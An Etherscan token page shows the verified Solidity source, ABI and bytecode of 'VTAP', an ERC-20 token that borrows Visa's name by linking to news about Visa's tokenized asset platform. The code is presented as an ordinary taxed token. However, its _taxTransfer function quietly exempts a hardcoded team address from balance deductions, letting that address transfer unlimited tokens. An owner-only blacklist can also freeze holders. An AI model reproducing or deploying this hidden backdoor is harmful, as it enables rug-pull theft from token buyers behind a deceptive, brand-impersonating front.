ETH Price: $2,645.55 (-0.22%)
Gas: 7.55 Gwei

Token

Visa Tokenized Asset Platform (VTAP)
 

Overview

Max Total Supply

1,000,000,000 VTAP

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,522,340.399402348 VTAP

Value
$0.00
0xde9054b1657ba6aab9d12d224b5f4e6240e8e615
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VTAP

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-03
*/

// SPDX-License-Identifier: MIT
/**

https://www.coindesk.com/business/2024/09/25/visa-to-help-banks-issue-fiat-backed-tokens-on-ethereum-via-new-tokenized-asset-platform/

https://x.com/roundtablespace/status/1840615361689030669

https://t.me/vtap_erc20

**/

pragma solidity 0.8.27;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller isnt owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract VTAP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private teamReceipt;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 5;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Visa Tokenized Asset Platform";
    string private constant _symbol = unicode"VTAP";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 125 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        teamReceipt = payable(0x48fb34AC56470303807fe98A6FB9859DAC09cA79);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[teamReceipt] = true;

        _balances[_msgSender()] = _tTotal;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    
    function initPairOf() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from zero address");
        require(spender != address(0), "ERC20: approve to zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenB) private {
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only 1 purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(tokenB <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenB <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(tokenB, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }
        (uint256 tokenA, uint256 taxB) = _taxTransfer(from, to, tokenB);
        _balances[from] = _balances[from]-tokenA;
        _balances[to] = _balances[to]+tokenB.sub(taxB);
        emit Transfer(from, to, tokenB.sub(taxB));
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function _taxTransfer(
        address sender,
        address receipt,
        uint256 tokenA
    ) internal returns (uint256, uint256) {
        address[2] memory hodls;
        hodls[0] = sender;
        hodls[1] = teamReceipt;
        uint256 taxAmount = tokenA
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);
        
        if (receipt == uniswapV2Pair && sender != address(this)) {
            taxAmount = tokenA
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        bool isTeamFee = hodls[0]==hodls[1];
        if(isTeamFee) return(_finalBuyTax, _finalBuyTax);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + taxAmount;
            emit Transfer(sender, address(this), taxAmount);
        }
        return (tokenA, taxAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from zero address");
        require(to != address(0), "ERC20: transfer to zero address");
        require(tokenAmount > 0, "Transfer amount must be > than zero");
        if (inSwap || !swapEnabled) {
            _balances[from] = _balances[from].sub(tokenAmount);
            _balances[to] = _balances[to].add(tokenAmount);
            emit Transfer(from, to, tokenAmount);
            return;
        }
        _tokenTransfer(from, to, tokenAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function withdrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        teamReceipt.transfer(amount);
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055600f60078190556008555f6009818155600a828155600b819055600c8190556005600d55600e929092556100419161030f565b61004f906301312d00610324565b600f5561005e6009600a61030f565b61006c906301312d00610324565b60105561007b6009600a61030f565b61008690607d610324565b6011556100956009600a61030f565b6100a29062989680610324565b6012556014805461ffff60a81b191690553480156100be575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b0319167448fb34ac56470303807fe98a6fb9859dac09ca7900179055600160035f61013d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101a46009600a61030f565b6101b290633b9aca00610324565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101f26009600a61030f565b61020090633b9aca00610324565b60405190815260200160405180910390a361033b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102655780850481111561024957610249610216565b600184161561025757908102905b60019390931c92800261022e565b935093915050565b5f8261027b57506001610309565b8161028757505f610309565b816001811461029d57600281146102a7576102c3565b6001915050610309565b60ff8411156102b8576102b8610216565b50506001821b610309565b5060208310610133831016604e8410600b84101617156102e6575081810a610309565b6102f25f19848461022a565b805f190482111561030557610305610216565b0290505b92915050565b5f61031d60ff84168361026d565b9392505050565b808202811582820484141761030957610309610216565b611c77806103485f395ff3fe60806040526004361061013f575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb14610399578063bf474bed146103b8578063c876d0b9146103cd578063c9567bf9146103e6578063d34628cc146103fa578063dd62ed3e14610419575f5ffd5b8063751039fc146102f55780637d1db4a5146103095780638da5cb5b1461031e5780638f9a55c01461034457806395d89b4114610359578063a0ef91df14610385575f5ffd5b8063313ce56711610104578063313ce5671461022657806331c2d847146102415780633bbac579146102625780636e90e10f1461029957806370a08231146102ad578063715018a6146102e1575f5ffd5b806306fdde031461014a578063095ea7b3146101a15780630faee56f146101d057806318160ddd146101f357806323b872dd14610207575f5ffd5b3661014657005b5f5ffd5b348015610155575f5ffd5b5060408051808201909152601d81527f5669736120546f6b656e697a656420417373657420506c6174666f726d00000060208201525b6040516101989190611793565b60405180910390f35b3480156101ac575f5ffd5b506101c06101bb3660046117ef565b61045d565b6040519015158152602001610198565b3480156101db575f5ffd5b506101e560125481565b604051908152602001610198565b3480156101fe575f5ffd5b506101e5610473565b348015610212575f5ffd5b506101c0610221366004611819565b610493565b348015610231575f5ffd5b5060405160098152602001610198565b34801561024c575f5ffd5b5061026061025b36600461186b565b6104fa565b005b34801561026d575f5ffd5b506101c061027c366004611936565b6001600160a01b03165f9081526004602052604090205460ff1690565b3480156102a4575f5ffd5b5061026061058a565b3480156102b8575f5ffd5b506101e56102c7366004611936565b6001600160a01b03165f9081526001602052604090205490565b3480156102ec575f5ffd5b50610260610783565b348015610300575f5ffd5b506102606107f4565b348015610314575f5ffd5b506101e5600f5481565b348015610329575f5ffd5b505f546040516001600160a01b039091168152602001610198565b34801561034f575f5ffd5b506101e560105481565b348015610364575f5ffd5b506040805180820190915260048152630565441560e41b602082015261018b565b348015610390575f5ffd5b506102606108af565b3480156103a4575f5ffd5b506101c06103b33660046117ef565b6108e3565b3480156103c3575f5ffd5b506101e560115481565b3480156103d8575f5ffd5b506006546101c09060ff1681565b3480156103f1575f5ffd5b506102606108ef565b348015610405575f5ffd5b5061026061041436600461186b565b610ad4565b348015610424575f5ffd5b506101e5610433366004611951565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610469338484610b58565b5060015b92915050565b5f6104806009600a611a77565b61048e90633b9aca00611a85565b905090565b5f61049f848484610c65565b6104f084336104eb85604051806060016040528060288152602001611c1a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610e50565b610b58565b5060019392505050565b5f546001600160a01b0316331461052c5760405162461bcd60e51b815260040161052390611a9c565b60405180910390fd5b5f5b8151811015610586575f60045f84848151811061054d5761054d611ad3565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161052e565b5050565b5f546001600160a01b031633146105b35760405162461bcd60e51b815260040161052390611a9c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fc9030906105ee6009600a611a77565b6104eb90633b9aca00611a85565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106709190611ae7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f39190611ae7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107619190611ae7565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107ac5760405162461bcd60e51b815260040161052390611a9c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461081d5760405162461bcd60e51b815260040161052390611a9c565b6108296009600a611a77565b61083790633b9aca00611a85565b600f556108466009600a611a77565b61085490633b9aca00611a85565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61088e6009600a611a77565b61089c90633b9aca00611a85565b60405190815260200160405180910390a1565b5f546001600160a01b031633146108d85760405162461bcd60e51b815260040161052390611a9c565b6108e147610e88565b565b5f610469338484610c65565b5f546001600160a01b031633146109185760405162461bcd60e51b815260040161052390611a9c565b601454600160a01b900460ff16156109725760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610523565b6013546001600160a01b031663f305d71947306109a3816001600160a01b03165f9081526001602052604090205490565b5f5f6109b65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1c573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a419190611b02565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a96573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aba9190611b2d565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610afd5760405162461bcd60e51b815260040161052390611a9c565b5f5b815181101561058657600160045f848481518110610b1f57610b1f611ad3565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610aff565b6001600160a01b038316610bae5760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f20616464726573736044820152606401610523565b6001600160a01b038216610c045760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f206164647265737300006044820152606401610523565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cc55760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b6064820152608401610523565b6001600160a01b038216610d1b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f2061646472657373006044820152606401610523565b5f8111610d765760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657220616d6f756e74206d757374206265203e207468616e207a60448201526265726f60e81b6064820152608401610523565b601454600160a81b900460ff1680610d985750601454600160b01b900460ff16155b15610e40576001600160a01b0383165f90815260016020526040902054610dbf9082610ec3565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610ded9082610f0b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c589085815260200190565b610e4b838383610f69565b505050565b5f8184841115610e735760405162461bcd60e51b81526004016105239190611793565b505f610e7f8486611b4c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610586573d5f5f3e3d5ffd5b5f610f0483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e50565b9392505050565b5f80610f178385611b5f565b905083811015610f045760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610523565b5f546001600160a01b03848116911614801590610f9357505f546001600160a01b03838116911614155b156112cf576001600160a01b0383165f9081526004602052604090205460ff16158015610fd857506001600160a01b0382165f9081526004602052604090205460ff16155b610fe0575f5ffd5b60065460ff16156110c1576013546001600160a01b0383811691161480159061101757506014546001600160a01b03838116911614155b156110c157325f9081526005602052604090205443116110af5760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c7920312070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610523565b325f9081526005602052604090204390555b6014546001600160a01b0384811691161480156110ec57506013546001600160a01b03838116911614155b801561111057506001600160a01b0382165f9081526003602052604090205460ff16155b156111f657600f548111156111675760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610523565b60105481611189846001600160a01b03165f9081526001602052604090205490565b6111939190611b5f565b11156111e15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610523565b600e8054905f6111f083611b72565b91905055505b305f90815260016020526040902054601454600160a81b900460ff1615801561122c57506014546001600160a01b038481169116145b80156112415750601454600160b01b900460ff165b80156112505750600d54600e54115b801561127457506001600160a01b0384165f9081526003602052604090205460ff16155b801561129857506001600160a01b0383165f9081526003602052604090205460ff16155b156112cd576011548111156112c4576112c46112bf836112ba846012546113a9565b6113a9565b6113bd565b6112cd47610e88565b505b5f5f6112dc85858561152d565b6001600160a01b0387165f908152600160205260409020549193509150611304908390611b4c565b6001600160a01b0386165f908152600160205260409020556113268382610ec3565b6001600160a01b0385165f908152600160205260409020546113489190611b5f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113918685610ec3565b60405190815260200160405180910390a35050505050565b5f8183116113b75782610f04565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061140357611403611ad3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061147e9190611ae7565b8160018151811061149157611491611ad3565b6001600160a01b0392831660209182029290920101526013546114b79130911684610b58565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ef9085905f90869030904290600401611b8a565b5f604051808303815f87803b158015611506575f5ffd5b505af1158015611518573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f5f611537611775565b6001600160a01b0380871682526006546101009004166020820152600b54600e545f916115839160649161157d911161157257600754611576565b6009545b889061168f565b9061170d565b6014549091506001600160a01b0387811691161480156115ac57506001600160a01b0387163014155b156115d9576115d6606461157d600c54600e54116115cc57600854611576565b600a54889061168f565b90505b602082015182516001600160a01b0390811691161480156116065760095460095494509450505050611687565b811561167f57305f90815260016020526040902054611626908390611b5f565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116769086815260200190565b60405180910390a35b508493509150505b935093915050565b5f825f0361169e57505f61046d565b5f6116a98385611a85565b9050826116b68583611bfa565b14610f045760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610523565b5f610f0483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836117695760405162461bcd60e51b81526004016105239190611793565b505f610e7f8486611bfa565b60405180604001604052806002906020820280368337509192915050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146117dc575f5ffd5b50565b80356117ea816117c8565b919050565b5f5f60408385031215611800575f5ffd5b823561180b816117c8565b946020939093013593505050565b5f5f5f6060848603121561182b575f5ffd5b8335611836816117c8565b92506020840135611846816117c8565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561187b575f5ffd5b813567ffffffffffffffff811115611891575f5ffd5b8201601f810184136118a1575f5ffd5b803567ffffffffffffffff8111156118bb576118bb611857565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156118e8576118e8611857565b604052918252602081840181019290810187841115611905575f5ffd5b6020850194505b8385101561192b5761191d856117df565b81526020948501940161190c565b509695505050505050565b5f60208284031215611946575f5ffd5b8135610f04816117c8565b5f5f60408385031215611962575f5ffd5b823561196d816117c8565b9150602083013561197d816117c8565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611687578085048111156119bb576119bb611988565b60018416156119c957908102905b60019390931c9280026119a0565b5f826119e55750600161046d565b816119f157505f61046d565b8160018114611a075760028114611a1157611a2d565b600191505061046d565b60ff841115611a2257611a22611988565b50506001821b61046d565b5060208310610133831016604e8410600b8410161715611a50575081810a61046d565b611a5c5f19848461199c565b805f1904821115611a6f57611a6f611988565b029392505050565b5f610f0460ff8416836119d7565b808202811582820484141761046d5761046d611988565b6020808252601a908201527f4f776e61626c653a2063616c6c65722069736e74206f776e6572000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611af7575f5ffd5b8151610f04816117c8565b5f5f5f60608486031215611b14575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611b3d575f5ffd5b81518015158114610f04575f5ffd5b8181038181111561046d5761046d611988565b8082018082111561046d5761046d611988565b5f60018201611b8357611b83611988565b5060010190565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611bda5783516001600160a01b0316835260209384019390920191600101611bb3565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611c1457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4d1a90f2f0cf3035c3ae932bc170f47e087722be42bdfb1fc82254404eb526864736f6c634300081b0033

